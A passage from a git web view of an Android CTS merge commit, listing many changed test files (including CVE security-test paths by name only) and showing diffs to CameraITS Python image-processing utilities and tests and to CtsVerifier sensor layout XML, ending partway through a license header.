summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2021-09-11 03:11:55 +0000
committerAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2021-09-11 03:11:55 +0000
commit2a9cd3bf87bdbab31bdda5abb39d6a5e22ef802b (patch)
tree10e54e1e2087bcc86e4fe5f316a5ec6447d9e9bc
parentf33704068e6a945d93e1a331b8f93938c757f9b8 (diff)
parentbfb933f7c4e54ab82688901d877c74d5baade06b (diff)
downloadcts-android-mainline-12.0.0_r15.tar.gz
Snap for 7723506 from bfb933f7c4e54ab82688901d877c74d5baade06b to mainline-permission-releaseandroid-mainline-12.0.0_r15
Change-Id: Ieabc40227215ae705c5aa8d2afa568a02b3e29b2
-rw-r--r--apps/CameraITS/tests/scene1_1/test_crop_regions.py9
-rw-r--r--apps/CameraITS/tests/scene2_d/scene2_d.pngbin1213224 -> 1166196 bytes
-rw-r--r--apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.pngbin353367 -> 332386 bytes
-rw-r--r--apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.pngbin553007 -> 532056 bytes
-rw-r--r--apps/CameraITS/tests/scene2_e/scene2_e.pngbin950649 -> 1300496 bytes
-rw-r--r--apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.pngbin288219 -> 367924 bytes
-rw-r--r--apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.pngbin446635 -> 582664 bytes
-rw-r--r--apps/CameraITS/utils/camera_properties_utils.py2
-rw-r--r--apps/CameraITS/utils/image_processing_utils.py41
-rw-r--r--apps/CameraITS/utils/opencv_processing_utils.py48
-rw-r--r--apps/CtsVerifier/res/layout-land/sensor_test.xml2
-rw-r--r--apps/CtsVerifier/res/layout-port/sensor_test.xml2
-rw-r--r--apps/CtsVerifier/res/layout-small/sensor_test.xml2
-rw-r--r--apps/CtsVerifier/res/values-small-watch/dimens.xml18
-rw-r--r--apps/CtsVerifier/res/values/dimens.xml2
-rw-r--r--apps/CtsVerifier/res/values/strings.xml9
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java17
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java1
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java6
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java10
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java12
-rw-r--r--common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java22
-rw-r--r--cts-camera-hal.xml30
-rw-r--r--hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java2
-rw-r--r--hostsidetests/appcompat/host/lib/Android.bp4
-rw-r--r--hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java24
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java2
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java5
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java2
-rw-r--r--hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java55
-rw-r--r--hostsidetests/devicepolicy/Android.bp3
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml1
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java19
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java16
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java2
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java5
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java4
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java1
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp3
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java29
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java4
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java3
-rw-r--r--hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java6
-rw-r--r--hostsidetests/media/OWNERS6
-rw-r--r--hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java8
-rw-r--r--hostsidetests/mediaparser/Android.bp1
-rw-r--r--hostsidetests/mediaparser/OWNERS6
-rw-r--r--hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java12
l---------hostsidetests/packagemanager/stats/.gitignore1
-rw-r--r--hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java4
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java2
-rw-r--r--hostsidetests/securitybulletin/OWNERS4
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_0636_1.avibin0 -> 17736 bytes
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_0636_2.avibin0 -> 6705 bytes
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_0636_3.avibin0 -> 331 bytes
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_0636_4.avibin0 -> 212248 bytes
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp31
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp36
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp37
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp39
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp41
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp85
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp (renamed from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp)2
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp (renamed from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp)0
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp42
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp35
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp47
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp111
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h85
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp1236
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java36
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java38
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java38
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java38
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java (renamed from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java)6
-rwxr-xr-xhostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java2
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java51
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java83
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java38
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java36
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp33
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml49
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.pngbin0 -> 3619 bytes
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml28
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml19
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java75
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java84
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java98
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java91
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java45
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java3
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java11
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java54
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java5
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java2
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java3
-rw-r--r--hostsidetests/theme/assets/31/450dpi.zipbin0 -> 13317115 bytes
-rw-r--r--tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java2
-rw-r--r--tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java44
-rw-r--r--tests/app/src/android/app/cts/DownloadManagerTest.java3
-rw-r--r--tests/app/src/android/app/cts/NotificationManagerTest.java2
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java5
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java37
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java20
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java2
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java3
-rw-r--r--tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java23
-rw-r--r--tests/filesystem/AndroidManifest.xml3
-rw-r--r--tests/filesystem/src/android/filesystem/cts/FileActivity.java37
-rw-r--r--tests/filesystem/src/android/filesystem/cts/RandomRWTest.java2
-rw-r--r--tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java3
-rw-r--r--tests/framework/base/windowmanager/AndroidManifest.xml2
-rwxr-xr-xtests/framework/base/windowmanager/app/AndroidManifest.xml4
-rw-r--r--tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java3
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java18
-rwxr-xr-xtests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java1
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java4
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java13
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java50
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java1
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java18
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java15
-rw-r--r--tests/libcore/jsr166/AndroidTest.xml3
-rw-r--r--tests/libcore/luni/AndroidTest.xml3
-rw-r--r--tests/libcore/ojluni/AndroidTest.xml3
-rw-r--r--tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml3
-rw-r--r--tests/libcore/wycheproof-bc/AndroidTest.xml3
-rw-r--r--tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java14
-rw-r--r--tests/media/OWNERS8
-rw-r--r--tests/media/src/android/mediav2/cts/CodecEncoderTest.java14
-rw-r--r--tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java12
-rw-r--r--tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java20
-rw-r--r--tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java4
-rw-r--r--tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java20
-rw-r--r--tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java2
-rw-r--r--tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java10
-rw-r--r--tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java13
-rw-r--r--tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java18
-rw-r--r--tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java3
-rw-r--r--tests/signature/api-check/system-api/AndroidTest.xml2
-rw-r--r--tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java4
-rw-r--r--tests/tests/assist/src/android/assist/cts/AssistTestBase.java58
-rw-r--r--tests/tests/assist/src/android/assist/cts/ScreenshotTest.java48
-rw-r--r--tests/tests/content/BinderPermissionTestService/Android.bp1
-rw-r--r--tests/tests/content/DirectBootUnawareTestApp/Android.bp1
-rw-r--r--tests/tests/content/HelloWorldApp/Android.bp5
-rw-r--r--tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp1
-rw-r--r--tests/tests/content/SyncAccountAccessStubs/Android.bp1
-rw-r--r--tests/tests/content/emptytestapp/Android.bp5
-rw-r--r--tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java6
-rw-r--r--tests/tests/libcoreapievolution/AndroidTest.xml3
-rw-r--r--tests/tests/libcorefileio/AndroidTest.xml3
-rw-r--r--tests/tests/libcorelegacy22/AndroidTest.xml3
-rw-r--r--tests/tests/media/OWNERS7
-rwxr-xr-xtests/tests/media/src/android/media/cts/AudioTrackTest.java12
-rw-r--r--tests/tests/media/src/android/media/cts/MediaExtractorTest.java31
-rw-r--r--tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java8
-rw-r--r--tests/tests/mediaparser/OWNERS4
-rw-r--r--tests/tests/mediatranscoding/Android.bp4
-rw-r--r--tests/tests/mediatranscoding/AndroidManifest.xml6
-rw-r--r--tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java107
-rw-r--r--tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java18
-rw-r--r--tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt45
-rw-r--r--tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml5
-rw-r--r--tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java31
-rw-r--r--tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java16
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt11
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt9
-rw-r--r--tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt64
-rw-r--r--tests/tests/provider/preconditions/Android.bp3
-rw-r--r--tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java1
-rw-r--r--tests/tests/security/OWNERS4
-rw-r--r--tests/tests/security/src/android/security/cts/StagefrightTest.java5
-rw-r--r--tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt29
-rw-r--r--tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt33
-rw-r--r--tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java2
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java76
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java10
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/MockConnection.java19
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java40
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java7
-rw-r--r--tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java3
-rw-r--r--tests/tests/tv/src/android/media/tv/cts/TvContractTest.java15
-rw-r--r--tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java33
-rw-r--r--tests/tests/tv/src/android/media/tv/cts/TvViewTest.java18
-rw-r--r--tests/tests/view/src/android/view/cts/LongPressBackTest.java4
-rw-r--r--tests/tests/widget/src/android/widget/cts/RadioButtonTest.java6
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java8
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java8
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java8
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java8
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java6
-rw-r--r--tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java9
-rw-r--r--tests/video/src/android/video/cts/CodecPerformanceTestBase.java36
-rw-r--r--tools/cts-tradefed/res/config/cts-foldable.xml3
-rw-r--r--tools/cts-tradefed/res/config/cts-known-failures.xml3
-rw-r--r--tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml1
203 files changed, 4322 insertions, 550 deletions
diff --git a/apps/CameraITS/tests/scene1_1/test_crop_regions.py b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
index 148d8637996..77e35edfa07 100644
--- a/apps/CameraITS/tests/scene1_1/test_crop_regions.py
+++ b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
@@ -17,14 +17,13 @@
import logging
import os.path
-from mobly import test_runner
-import numpy as np
-
-import its_base_test
import camera_properties_utils
import capture_request_utils
import image_processing_utils
+import its_base_test
import its_session_utils
+from mobly import test_runner
+import numpy as np
import target_exposure_utils
# 5 regions specified in normalized (x, y, w, h) coords.
@@ -64,7 +63,7 @@ class CropRegionsTest(its_base_test.ItsBaseTest):
ax, ay = a['left'], a['top']
aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
e, s = target_exposure_utils.get_target_exposure_combos(
- props, cam)['minSensitivity']
+ log_path, cam)['minSensitivity']
logging.debug('Active sensor region (%d,%d %dx%d)', ax, ay, aw, ah)
# Uses a 2x digital zoom.
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d.png b/apps/CameraITS/tests/scene2_d/scene2_d.png
index e2a33e7b489..5365f3fb19d 100644
--- a/apps/CameraITS/tests/scene2_d/scene2_d.png
+++ b/apps/CameraITS/tests/scene2_d/scene2_d.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png b/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png
index df700c3893d..21b068bf382 100644
--- a/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png
+++ b/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png b/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png
index 672ea303443..30d6813bc31 100644
--- a/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png
+++ b/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e.png b/apps/CameraITS/tests/scene2_e/scene2_e.png
index b9554b33c9f..c64f47b61fa 100644
--- a/apps/CameraITS/tests/scene2_e/scene2_e.png
+++ b/apps/CameraITS/tests/scene2_e/scene2_e.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png b/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png
index 92e3444ee20..7dbb41a44e4 100644
--- a/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png
+++ b/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png b/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png
index d8cca5c5b64..4ee532c19cb 100644
--- a/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png
+++ b/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/utils/camera_properties_utils.py b/apps/CameraITS/utils/camera_properties_utils.py
index 117ba2132a8..dcdf731e468 100644
--- a/apps/CameraITS/utils/camera_properties_utils.py
+++ b/apps/CameraITS/utils/camera_properties_utils.py
@@ -737,7 +737,7 @@ def post_raw_sensitivity_boost(props):
Boolean. True if android.control.postRawSensitivityBoost is supported.
"""
return (
- 'android.control.postRawSensitivityBoostRange' in props.keys() and
+ 'android.control.postRawSensitivityBoostRange' in props['camera.characteristics.keys'] and
props.get('android.control.postRawSensitivityBoostRange') != [100, 100])
diff --git a/apps/CameraITS/utils/image_processing_utils.py b/apps/CameraITS/utils/image_processing_utils.py
index c041e240a64..23432f1fcc8 100644
--- a/apps/CameraITS/utils/image_processing_utils.py
+++ b/apps/CameraITS/utils/image_processing_utils.py
@@ -23,14 +23,13 @@ import random
import sys
import unittest
+import capture_request_utils
+import cv2
+import error_util
import numpy
from PIL import Image
-import cv2
-import capture_request_utils
-import error_util
-
# The matrix is from JFIF spec
DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([[1.000, 0.000, 1.402],
[1.000, -0.344, -0.714],
@@ -347,6 +346,40 @@ def convert_capture_to_planes(cap, props=None):
raise error_util.CameraItsError('Invalid format %s' % (cap['format']))
+def downscale_image(img, f):
+ """Shrink an image by a given integer factor.
+
+ This function computes output pixel values by averaging over rectangular
+ regions of the input image; it doesn't skip or sample pixels, and all input
+ image pixels are evenly weighted.
+
+ If the downscaling factor doesn't cleanly divide the width and/or height,
+ then the remaining pixels on the right or bottom edge are discarded prior
+ to the downscaling.
+
+ Args:
+ img: The input image as an ndarray.
+ f: The downscaling factor, which should be an integer.
+
+ Returns:
+ The new (downscaled) image, as an ndarray.
+ """
+ h, w, chans = img.shape
+ f = int(f)
+ assert f >= 1
+ h = (h//f)*f
+ w = (w//f)*f
+ img = img[0:h:, 0:w:, ::]
+ chs = []
+ for i in range(chans):
+ ch = img.reshape(h*w*chans)[i::chans].reshape(h, w)
+ ch = ch.reshape(h, w//f, f).mean(2).reshape(h, w//f)
+ ch = ch.T.reshape(w//f, h//f, f).mean(2).T.reshape(h//f, w//f)
+ chs.append(ch.reshape(h*w//(f*f)))
+ img = numpy.vstack(chs).T.reshape(h//f, w//f, chans)
+ return img
+
+
def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane, props,
cap_res):
"""Convert a Bayer raw-16 image to an RGB image.
diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py
index 69bad61e991..6cc692b4258 100644
--- a/apps/CameraITS/utils/opencv_processing_utils.py
+++ b/apps/CameraITS/utils/opencv_processing_utils.py
@@ -557,29 +557,17 @@ def get_angle(input_img):
class Cv2ImageProcessingUtilsTests(unittest.TestCase):
"""Unit tests for this module."""
- def test_get_angle_identify_unrotated_chessboard_angle(self):
- normal_img_path = os.path.join(
- TEST_IMG_DIR, 'rotated_chessboards/normal.jpg')
- wide_img_path = os.path.join(
- TEST_IMG_DIR, 'rotated_chessboards/wide.jpg')
- normal_img = cv2.cvtColor(cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY)
- wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
- normal_angle = get_angle(normal_img)
- wide_angle = get_angle(wide_img)
- e_msg = f'Angle: 0, Regular: {normal_angle}, Wide: {wide_angle}'
- self.assertEqual(get_angle(normal_img), 0, e_msg)
- self.assertEqual(get_angle(wide_img), 0, e_msg)
-
def test_get_angle_identify_rotated_chessboard_angle(self):
# Array of the image files and angles containing rotated chessboards.
test_cases = [
- ('_15_ccw', 15),
- ('_30_ccw', 30),
- ('_45_ccw', 45),
- ('_60_ccw', 60),
- ('_75_ccw', 75),
- ('_90_ccw', 90)
+ ('', 0),
+ ('_15_ccw', -15),
+ ('_30_ccw', -30),
+ ('_45_ccw', -45),
+ ('_60_ccw', -60),
+ ('_75_ccw', -75),
]
+ test_fails = ''
# For each rotated image pair (normal, wide), check angle against expected.
for suffix, angle in test_cases:
@@ -594,13 +582,21 @@ class Cv2ImageProcessingUtilsTests(unittest.TestCase):
wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
# Assert angle as expected.
- normal_angle = get_angle(normal_img)
- wide_angle = get_angle(wide_img)
- e_msg = f'Angle: {angle}, Regular: {normal_angle}, Wide: {wide_angle}'
- self.assertTrue(
- numpy.isclose(abs(normal_angle), angle, ANGLE_CHECK_TOL), e_msg)
- self.assertTrue(
- numpy.isclose(abs(wide_angle), angle, ANGLE_CHECK_TOL), e_msg)
+ normal = get_angle(normal_img)
+ wide = get_angle(wide_img)
+ valid_angles = (angle, angle+90) # try both angle & +90 due to squares
+ e_msg = (f'\n Rotation angle test failed: {angle}, extracted normal: '
+ f'{normal:.2f}, wide: {wide:.2f}, valid_angles: {valid_angles}')
+ matched_angles = False
+ for a in valid_angles:
+ if (math.isclose(normal, a, abs_tol=ANGLE_CHECK_TOL) and
+ math.isclose(wide, a, abs_tol=ANGLE_CHECK_TOL)):
+ matched_angles = True
+
+ if not matched_angles:
+ test_fails += e_msg
+
+ self.assertEqual(len(test_fails), 0, test_fails)
if __name__ == '__main__':
diff --git a/apps/CtsVerifier/res/layout-land/sensor_test.xml b/apps/CtsVerifier/res/layout-land/sensor_test.xml
index 5dbd95a74fb..9d8f4d68caf 100644
--- a/apps/CtsVerifier/res/layout-land/sensor_test.xml
+++ b/apps/CtsVerifier/res/layout-land/sensor_test.xml
@@ -46,7 +46,7 @@
<android.opengl.GLSurfaceView android:id="@+id/gl_surface_view"
android:visibility="gone"
- android:layout_width="0dp"
+ android:layout_width="@dimen/snsr_glview_size"
android:layout_height="match_parent"
android:layout_weight="1"/>
diff --git a/apps/CtsVerifier/res/layout-port/sensor_test.xml b/apps/CtsVerifier/res/layout-port/sensor_test.xml
index 024a3f388fe..9d00b86fc7b 100644
--- a/apps/CtsVerifier/res/layout-port/sensor_test.xml
+++ b/apps/CtsVerifier/res/layout-port/sensor_test.xml
@@ -37,7 +37,7 @@
<android.opengl.GLSurfaceView android:id="@+id/gl_surface_view"
android:visibility="gone"
- android:layout_height="0dp"
+ android:layout_height="@dimen/snsr_glview_size"
android:layout_weight="1"
android:layout_width="match_parent"/>
diff --git a/apps/CtsVerifier/res/layout-small/sensor_test.xml b/apps/CtsVerifier/res/layout-small/sensor_test.xml
index 348e3219dc3..7f2805eb2e9 100644
--- a/apps/CtsVerifier/res/layout-small/sensor_test.xml
+++ b/apps/CtsVerifier/res/layout-small/sensor_test.xml
@@ -37,7 +37,7 @@
<android.opengl.GLSurfaceView android:id="@+id/gl_surface_view"
android:visibility="gone"
- android:layout_height="0dp"
+ android:layout_height="@dimen/snsr_glview_size"
android:layout_weight="1"
android:layout_width="match_parent"/>
diff --git a/apps/CtsVerifier/res/values-small-watch/dimens.xml b/apps/CtsVerifier/res/values-small-watch/dimens.xml
new file mode 100644
index 00000000000..24e84c5b02c
--- /dev/null
+++ b/apps/CtsVerifier/res/values-small-watch/dimens.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
